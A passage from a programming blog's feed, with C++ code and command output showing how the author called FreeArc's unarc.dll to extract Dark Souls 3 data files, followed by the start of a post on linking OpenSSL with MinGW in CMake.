  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;// Если парсинг был удачен и можно выполнить команду&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Prepare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;CThread&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;DLLUI&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DLLUI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kr&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Create&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timer_thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;      &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;//   Спец. тред, вызывающий callback 100 раз в секунду&lt;/span&gt;
    &lt;span class=&quot;kr&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Create&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decompress_thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;//   Выполнить разобранную команду&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DoEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strequ&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;quit&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// error code of command&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;callback&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventDone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Signal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;kr&quot;&gt;thread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Wait&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FREEARC_OK&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FREEARC_ERRCODE_GENERAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Basically what this does is forward all the input parameters as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argv&lt;/code&gt; of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc&lt;/code&gt;. After a &lt;em&gt;lot&lt;/em&gt; of fooling around with the awfulness of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;va_list&lt;/code&gt; and lots of crashes I finally got the code to forward &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argv&lt;/code&gt; to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FreeArcExtract&lt;/code&gt; function:&lt;/p&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;cstdio&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define whut(x) (strcmp(what, #x) == 0)
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__stdcall&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;cbExtract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;whut&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;whut&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//filter out the plentiful &quot;read&quot; and &quot;write&quot; messages&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, %d, %d, &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__stdcall&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cbtype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;what&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__cdecl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pFreeArcExtract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cbtype&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...);&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMod&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadLibraryA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;unarc.dll&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Failed to load DLL: unarc.dll!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FreeArcExtract&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pFreeArcExtract&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetProcAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;FreeArcExtract&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FreeArcExtract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Failed to find export: FreeArcExtract&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FreeArcExtract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cbExtract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First I tried to get the help with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc_cmd.exe&lt;/code&gt;, but this came up empty. Instead I asked &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unarc.exe&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;unarc
FreeArc 0.67 unpacker  http://freearc.org  2014-03-16
Usage: unarc command [options] archive[.arc] [filenames...]
Available commands:
  l - display archive listing
  v - display verbose archive listing
  e - extract files into current directory
  x - extract files with pathnames
  t - test archive integrity
... (more irrelevant options)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then I tried to list all the files in the archive, which did not give me the output I expected at all (but hey, at least no CRC errors):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;unarc_cmd.exe l e:\setup-1.bin
&quot;total_files&quot;, 283, 0, &quot;&quot;
&quot;origsize&quot;, 25527, 998151285, &quot;&quot;
&quot;compsize&quot;, 25096, 545797223, &quot;&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v&lt;/code&gt; option also came up empty, but the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t&lt;/code&gt; option had more promise:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;unarc_cmd t e:\setup-1.bin
&quot;total&quot;, 25096, 545800879, &quot;&quot;
&quot;filename&quot;, 0, 810208, &quot;Game\Data0.bdt&quot;
&quot;filename&quot;, 922, 967053390, &quot;Game\Data1.bdt&quot;
&quot;filename&quot;, 2450, -1724920912, &quot;Game\Data2.bdt&quot;
... (it takes a few minutes to test all files)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To extract &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Data1.bdt&lt;/code&gt;, BinderTool also needs a file with decryption keys called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Data1.bhd&lt;/code&gt;, so I used the following command to extract both those files:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;unarc_cmd x e:\setup-1.bin Data1.bdt Data1.bhd
&quot;total&quot;, 25096, 545800879, &quot;&quot;
&quot;filename&quot;, 0, 810208, &quot;Game\Data0.bdt&quot;
&quot;overwrite?&quot;, 922, 967053390, &quot;Game\Data1.bdt&quot;
&quot;filename&quot;, 922, 967053390, &quot;Game\Data1.bdt&quot;
&quot;filename&quot;, 2450, -1724920912, &quot;Game\Data2.bdt&quot;
&quot;filename&quot;, 1474, 1546563828, &quot;Game\Data3.bdt&quot;
&quot;filename&quot;, 1172, 1229026224, &quot;Game\Data4.bdt&quot;
&quot;filename&quot;, 13172, 927431435, &quot;Game\Data5.bdt&quot;
&quot;filename&quot;, 1551, 1626443628, &quot;Game\DLC1.bdt&quot;
&quot;filename&quot;, 2929, -1222753793, &quot;Game\DLC2.bdt&quot;
&quot;filename&quot;, 0, 2212, &quot;Game\Data0.bhd&quot;
&quot;filename&quot;, 0, 411904, &quot;Game\Data1.bhd&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Well, I hope this was interesting to some people. It was just a 45 minute side project of mine that I decided to share.&lt;/p&gt;

&lt;p&gt;If anyone has &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;魔法うんちく_dlc2.fmg&lt;/code&gt; from before the description of the White Birch Bow was changed, please ping me (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CODEX&lt;/code&gt; release is from after the update apparently).&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2017/07/06/FreeArc-and-Dark-Souls-3</link>
                <guid>https://mrexodia.github.io/coding/2017/07/06/FreeArc-and-Dark-Souls-3</guid>
                <pubDate>2017-07-06T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Cmake Openssl And Mingw On Windows</title>
                <description>&lt;p&gt;If you found this you are probably having issues linking &lt;a href=&quot;https://www.openssl.org&quot;&gt;OpenSSL&lt;/a&gt; to &lt;a href=&quot;https://sourceforge.net/projects/mingw-w64&quot;&gt;MinGW-w64&lt;/a&gt; using &lt;a href=&quot;https://cmake.org&quot;&gt;CMake&lt;/a&gt; (or &lt;a href=&quot;https://www.jetbrains.com/clion/download/#section=windows&quot;&gt;CLion&lt;/a&gt;) on Windows. In this post I will give a quick overview on how to get this to work on a clean Windows machine…&lt;/p&gt;

&lt;p&gt;The distribution I used to get it to work is &lt;a href=&quot;https://slproweb.com/download/Win64OpenSSL-1_0_2k.exe&quot;&gt;Win64OpenSSL-1_2_2k.exe&lt;/a&gt;. The issue was that there are no MinGW-compatible link libaries. To solve this you can use my &lt;a href=&quot;https://bitbucket.org/mrexodia/genlib&quot;&gt;genlib&lt;/a&gt; tool to generate them:&lt;/p&gt;

&lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;:\OpenSSL&lt;span class=&quot;na&quot;&gt;-Win&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;64&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%PATH%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;:\genlib

&lt;span class=&quot;kd&quot;&gt;genlib&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;ssleay32&lt;/span&gt;.dll
